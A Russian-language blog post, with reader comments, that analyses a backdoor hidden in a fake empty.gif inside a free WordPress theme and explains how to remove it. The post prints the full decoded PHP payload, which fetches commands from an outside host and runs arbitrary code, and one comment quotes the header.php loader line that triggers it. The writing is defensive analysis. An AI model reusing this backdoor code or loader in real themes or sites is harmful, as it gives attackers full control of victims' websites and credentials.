Вредоносный код в темах WordPress с сайта wordpressorg.ru

Сегодня я расскажу про еще один бесплатный сыр в мышеловке — бесплатные темы для WordPress. Один мой знакомый попросил посмотреть понравившуюся ему тему с сайта wordpressorg.ru. Я, будучи уже научен предыдущим опытом, проверил ее на наличие таких же закодированных вредоносных кусков кода и… быстро наткнулся на дефективный empty.gif, который не открывается ни в каком редакторе.

Обычно empty.gif содержит картинку размером в один пиксель и весит меньше килобайта, этот же весил 5.1к или 5267байт, что уже довольно много для пустого гифа. Переименовываем его в empty.php и открываем в любом текстовом редакторе:

backdor_gifПервые символы «GIF89a» это типичная сигнатура гиф-файла, и некоторое количество мусора за ней призвано убедить что это это действительно он. Если бы у меня в редакторе был включен «перенос строк», то ничего необычного я бы может быть даже и не заметил. По крайней мере сразу, ведь читаемый текст есть только в последних двух строках. Конечно строка «base64_decode» сразу наводит на мысль — идем на www.base64decode.org и проверяем свою догадку, пытаясь декодировать длинную строку перед create_function, которая наиболее похожа на закодированную в Base64 формате:

backdor_base64_decodeВ результате декодирования видим вполне осмысленный php-код! Привожу полный текст, для тех кому интересно:

global $wp_gifhead;
if (@strpos(@get_cfg_var(‘error_append_string’) , ‘/denwer/errors/’)!==false) return;
error_reporting(‘^ E_ALL ^ E_NOTICE’);
ini_set(‘display_errors’, ‘0’);
error_reporting(E_ALL);
ini_set(‘display_errors’, ‘0’);
$wp_gifhead = get_option(‘gifhead’);
if (!$wp_gifhead) add_option(‘gifhead’); else $wp_gifhead = unserialize(base64_decode($wp_gifhead));
if (!isset($wp_gifhead[‘time’])) $wp_gifhead[‘time’] = 0;
if (!isset($wp_gifhead[‘scrp’])) $wp_gifhead[‘scrp’] = »;
if (!isset($wp_gifhead[‘lnks’])) $wp_gifhead[‘lnks’] = array();
if (!isset($wp_gifhead[‘lnsb’])) $wp_gifhead[‘lnsb’] = ‘
‘; if (!isset($wp_gifhead[‘lnsa’])) $wp_gifhead[‘lnsa’] = ‘
‘.»\n»; if (!isset($wp_gifhead[‘100uip’])) $wp_gifhead[‘100uip’] = array(); if (!isset($wp_gifhead[‘100aip’])) $wp_gifhead[‘100aip’] = array(); if (!isset($wp_gifhead[‘see’])) $wp_gifhead[‘see’] = ‘ru-wp’; if (!isset($wp_gifhead[‘get_func’])) $wp_gifhead[‘get_func’] = 0; if (!isset($wp_gifhead[‘err_cnt’])) $wp_gifhead[‘err_cnt’] = 0; if (!isset($wp_gifhead[‘cache_lifetime’])) $wp_gifhead[‘cache_lifetime’] = 43200; if (time()-$wp_gifhead[‘time’]>$wp_gifhead[‘cache_lifetime’]) { $req_url = ‘http://’.$_SERVER[‘HTTP_HOST’].urldecode($_SERVER[‘REQUEST_URI’]); $_user_agent = «Mozilla/5.0 (compatible; Googlebot/2.1; «.$req_url.»)»; $see=’http://’.$wp_gifhead[‘see’].’.ru/get.php’; $data = false; if (($data == false)and(function_exists(‘file_get_contents’))and($wp_gifhead[‘get_func’]==0)) { @ini_set(‘allow_url_fopen’, 1); @ini_set(‘default_socket_timeout’, 5); @ini_set(‘user_agent’, $_user_agent); $opts = array (‘http’=>array(‘method’=>»GET»,’header’=>»Referer: {$req_url}\r\n».»User-Agent: {$_user_agent}\r\n»)); $context = stream_context_create($opts); $data = @file_get_contents($see, false, $context); } if (($data == false)and(function_exists(‘curl_exec’))and($wp_gifhead[‘get_func’]==1)) { $ch = @curl_init($see); @curl_setopt($ch, CURLOPT_URL, $see); @curl_setopt($ch, CURLOPT_HEADER, 0); @curl_setopt($ch, CURLOPT_USERAGENT, $_user_agent); @curl_setopt($ch,CURLOPT_REFERER, $req_url); @curl_setopt($ch, CURLOPT_DNS_USE_GLOBAL_CACHE, 1); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); @curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $data = @curl_exec($ch); @curl_close($ch); } if (($data!==false)and($data!==»)) { if ($data!==») { $data = unserialize($data); if (is_array($data)) { $wp_gifhead[‘err_cnt’]=0; foreach ($data as $key=>$value) { $wp_gifhead[$key] = $value; } } else $data=false; } } else $data=false; if ($data==false) { $wp_gifhead[‘err_cnt’]++; if ($wp_gifhead[‘err_cnt’]>10) { $wp_gifhead[‘err_cnt’]=0; $wp_gifhead[‘get_func’]++; if ($wp_gifhead[‘get_func’]>1) $wp_gifhead[‘get_func’]=0; } } $wp_gifhead[‘time’] = time(); update_option( ‘gifhead’, base64_encode(serialize($wp_gifhead)) ); } if (isset($wp_gifhead[‘scrp’])) if ($wp_gifhead[‘scrp’]!==») { $wp_getallscripts = create_function(», $wp_gifhead[‘scrp’]); $wp_getallscripts(); }

Судя по коду, он ожидает особого запроса, в ответ на который зараженный сайт может выполнить любой php-код по желанию злоумышленника, фактически получившего после этого полный контроль, с возможностью закачать туда любые файлы, сменить или украсть пароли к админке, к базе и многое другое.

Если после всего этого у вас не пропало желание использовать такую тему — удаляем этот empty.gif. Кроме того, нужно не забыть найти в остальных php-файлах кусочек кода, который активировал этот empty.gif, при помощи поиска. У меня это оказался header.php:

Удаляем строчку в которой нашлась ссылка на этот empty.gif и… Нет, не радуйтесь! Это может быть далеко не единственная закладка. Просто человек, не обладающий хорошими знаниями php, может не понять назначение кода в одном из файлов темы или например если кусок будет встроен прямо среди другого кода. Но тут явно бросается в глаза что этот код хотели спрятать, это его и выдало.

Как подсказали в комментариях, можно еще найти такую же тему в интернете и взять из нее header.php, это может быть актуально, если вы уже потратили много времени на изменение темы и делать все с начала вам не хотелось бы. В этом случае вам придется повторить модификацию только лишь этого нового header.php

6 комментариев к “Вредоносный код в темах WordPress с сайта wordpressorg.ru”

  1. интересная статья. до вашей статьи, антивирус на сайте бил тревогу, я то еще думал что это может быть и ошибка, так как проверял сайт разными онлайн антивирусами в интернете, никакого вируса не нашел. Но ваша статья вывела меня на чистую воду, то что это точно вирус. Но не так и просто все удалить, сначала удалял файл на хостинге- сайт становился полностью черным. Закачивал его обратно, и удалял строчку в header.php- сайт становился полностью белым. когда удалил обе сразу- сайт уже стал работать с большими ошибками. Тему то не хотел поменять, потому как уже внес в ней большие изменения, и не хотелось все с начало то делать. даже нашел как очистить файл empty.gif от вредоносного кода, но тоже ничего хорошего не получилось. не знал что делать, искал в интернете информацию, но ничего не нашел. И вот пришла идея найти ту же самую тему в интернете с другого сайта. Скачал на комп, открыл картинки темы, и оказалась что в ней картинки empty и нет.Дальше посмотрел файл header.php — и там ничего об этом коде. так что скопировал весь код header, и поставил его на сайт. И вот все хорошо стала работать. а файл empty с хостинга удалил. Пока все работает отлично. Удачи всем!

  2. Здравствуйте. А меня один сайт после удаления этого файла перестает отображаться. Как быть?

  3. Не прочитал сразу комментарий Ивана. Так и поступил, скачал такую же тему и заменил файл header.php

  4. Достаточно просто удалить сам файл empty.gif, а в header.php удалить кусочек кода, отвечающий за его инклуд. У меня это было

    $gif=file(dirname(__FILE__).’/images/empty.gif’,2);$gif=$gif[5](«»,$gif[6]($gif[4]));$gif();

    Менять сам файл хедера не самая лучшая идея, т.к. в вашей теме могут быть какие-то свои особенности, чего нет в других.

    a7in:Конечно, всяко лучше удалить заразу точечно, но нужно хоть немного понимать что делаешь 😉

  5. Сергей

    Как то не по себе от прочитанного, чувствую себя не защищенным от непорядочных программистов. Самому освоить эту науку безопасности в сети уже не удастся, а надеяться на добрых людей, которые помогут, нереально. В жизни надо «грести вёслами» самому!
    Спасибо за полезную информацию….!

  6. Большое спасибо, что поделились. Но есть ли какой-нибудь плагин в WordPress, который мне помогает, решает эту проблему. Жду твоего ответа. С уважением.

Оставьте комментарий

Ваш адрес email не будет опубликован.